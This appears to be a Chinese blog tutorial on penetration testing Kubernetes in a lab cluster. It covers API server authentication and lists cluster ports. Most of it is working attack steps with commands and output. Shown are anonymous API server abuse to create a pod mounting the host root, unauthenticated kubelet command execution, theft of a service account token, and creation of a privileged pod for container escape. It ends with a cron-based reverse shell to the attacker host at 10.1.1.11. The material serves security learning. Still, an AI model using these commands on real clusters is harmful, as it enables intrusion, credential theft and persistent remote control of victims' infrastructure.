Kubernetes简称k8s,是当前主流的容器调度平台,被称为云原生时代的操作系统。在实际项目也经常发现厂商部署了使用k8s进行管理的云原生架构环境,在目前全面上云的趋势,有必要学习在k8s环境的下的一些攻击手法,本文非常适合刚入门或者准备学习云安全方向的安全人员,每个步骤都是亲手复现整理。文中如有错误的地方,还望各位大佬在评论区指正。
Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。
k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。 主要实现的功能就是api 的认证 + 鉴权以及准入控制。

三种机制:
注意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权
客户端证书认证:X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。
user 生成 kubeconfig就是X509 client certs方式。
因为基于x509的认证方式相对比较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。
service account 主要包含了三个内容:namespace、token 和 ca
K8S 目前支持了如下四种授权机制:
具体到授权模式其实有六种:
可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。
从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。
想了解更多RBAC的内容可以参考:使用 RBAC 鉴权 | Kubernetes
Ansible自动化部署K8S集群 或其他安装方法
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
主机名 | 角色 | IP | 安装软件 |
|---|---|---|---|
k8s-master.boysec.cn | 代理节点 | 10.1.1.100 | etcd、kueblet、kube-porxy、kube-apiserver、kube-controller-manager、kube-scheduler、Containerd |
k8s-node01.boysec.cn | 运算节点 | 10.1.1.120 | etcd、kueblet、kube-porxy、Containerd |
k8s-node02.boysec.cn | 运算节点 | 10.1.1.130 | etcd、kueblet、kube-porxy、Containerd |
hacker | 攻击主机 | 10.1.1.11 | kueblet |
信息收集与我们的攻击场景或者说进入的内网的起点分不开。一般来说内网不会完全基于容器技术进行构建。所以起点一般可以分为权限受限的容器和物理主机内网。
在K8s内部集群网络主要依靠网络插件,目前使用比较多的主要是Flannel和Calico
主要存在4种类型的通信:
当我们起点是一个在k8s集群内部权限受限的容器时,和常规内网渗透区别不大,上传端口扫描工具探测即可。
在k8s环境中,内网探测可以高度关注的端口:
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080如未将system:anonymous用户绑定到cluster-admin用户组,从而使6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败:

运维人员配置不当,将system:anonymous用户绑定到cluster-admin用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous再次访问:

# 查看default名称空间的Pod GET
https://10.1.1.100:6443/api/v1/namespaces/default/pods?limit=10
# 创建特权容器,POST
curl -k -H 'Content-Type: application/json' -X POST https://10.1.1.100:6443/api/v1/namespaces/default/pods -d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\": {},\"name\":\"test\",\"namespace\":\"default\"},\"spec\":{\"containers\": [{\"image\":\"nginx\",\"name\":\"test\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\": {\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
},
"name": "test",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx",
"name": "test",
"volumeMounts": [
{
"mountPath": "/host",
"name": "host"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}
]
}
}'
## 执行命令,GET 第三条执行命令的时候我出现了"Upgrade request required"(400)
## 此处行不通
curl -k -H "Upgrade: websocket" 'https://10.1.1.100:6443/api/v1/namespaces/default/pods/test/exec?stdout=1&stderr=1&tty=true&command=whoami'
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "Upgrade request required",
"reason": "BadRequest",
"code": 400
}解决问题
经过查询发现:现在可惜也不行了/(ㄒoㄒ)/~~
对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。
curl/Postman不支持从http升级到websocket。因此错误。
解决办法就是用wscat工具发送包:npm install -g wscat
不过这里还是没解决这个问题,
尝试新的方法:
kubectl --insecure-skip-tls-verify -s https://10.1.1.100:6443 get pods
## 这里虽然会让你输入账号和密码,但是随便输入之后,还是会显示pods,那么我通过POST创建pods,然后我在用这里连上去,然后chroot去获取宿主机权限。CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
项目地址:https://github.com/cdk-team/CDK/
# 利用cdk工具通过"system:anonymous"匿名账号尝试登录
./cdk_linux_amd64 kcurl anonymous get "https://10.1.1.100:6443/api/v1/nodes"
./cdk_linux_amd64 kcurl anonymous post 'https://10.1.1.100:6443/api/v1/nodes'Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。
最常见的未授权访问一般是10255端口,但这个端口的利用价值偏低,只能读取到一些基本信息。
/opt/kubernetes/cfg/kubelet-config.yml
既然 Kubelet 这么重要,那么如果存在未授权访问的问题,攻击者就可以向某个节点的 Kubelet 下发命令从而控制当前的所有的 Pod 有可能进一步控制整个集群。
通过ansible脚本安装的访问 https://10.1.1..100:10250/pods 地址会显示没有权限

vim /opt/kubernetes/cfg/kubelet-config.yml
kind: KubeletConfiguration
apiVersion: kubelet.config.k8s.io/v1beta1
address: 0.0.0.0
port: 10250
readOnlyPort: 10255
cgroupDriver: cgroupfs
clusterDNS:
- 192.168.0.2
clusterDomain: cluster.local
failSwapOn: false
authentication:
anonymous:
enabled: true # 将此次false改为ture;
# 重启服务
systemctl restart kubelet
可通过如下请求对指定 pod 进行利用
curl -XPOST -k https://IP:10250/run/<NameSpace>/<PodName>/<appName> -d "cmd=id"
curl -XPOST -k https://10.1.1.100:10250/run/kube-system/traefik-v2-7ff6d874bf-mxzpl/traefik-v2 -d "cmd=id"
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token
如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作
## 获取whoami
curl -XPOST -k https://10.1.1.100:10250/run/kube-system/traefik-v2-7ff6d874bf-mxzpl/traefik-v2 -d "cmd=whoami"
root
## 获取token
curl -XPOST -k https://10.1.1.100:10250/run/default/testwithsa-664464c6cb-t22k4/amdinbox -d "cmd=cat /run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6Imp0RmpXQmlsczQwNFNZY1VDeXU3eXVOdWdlTENPT3ZmWnIyY1p4VWVBYUUifQ.eyJhdWQiOlsiaHR0c
......如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限
[root@hacker ~]# kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJhbGci......" get pod
NAME READY STATUS RESTARTS AGE
testwithsa-664464c6cb-g68nq 1/1 Running 0 96s
testwithsa-664464c6cb-l49gq 1/1 Running 0 96s
testwithsa-664464c6cb-t22k4 1/1 Running 0 96s[root@hacker ~]$ cat > taoyi.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
name: test
labels:
app: test
spec:
containers:
- name: test
image: busybox
command: ["chroot", "/mnt"]
tty: true
stdin: true
stdinOnce: true
securityContext:
privileged: true
volumeMounts:
- name: root
mountPath: /mnt
volumes:
- name: root
hostPath:
path: /
EOF
## 创建特权pod
[root@hacker ~]$ kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJh......" apply -f taoyi.yaml
[root@hacker ~]$ kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJh......" get pod
NAME READY STATUS RESTARTS AGE
test 1/1 Running 0 2m1s
## 进入pod执行
echo '* * * * * bash -i >& /dev/tcp/10.1.1.11/12345 0>&1' >> /mnt/var/spool/cron/root 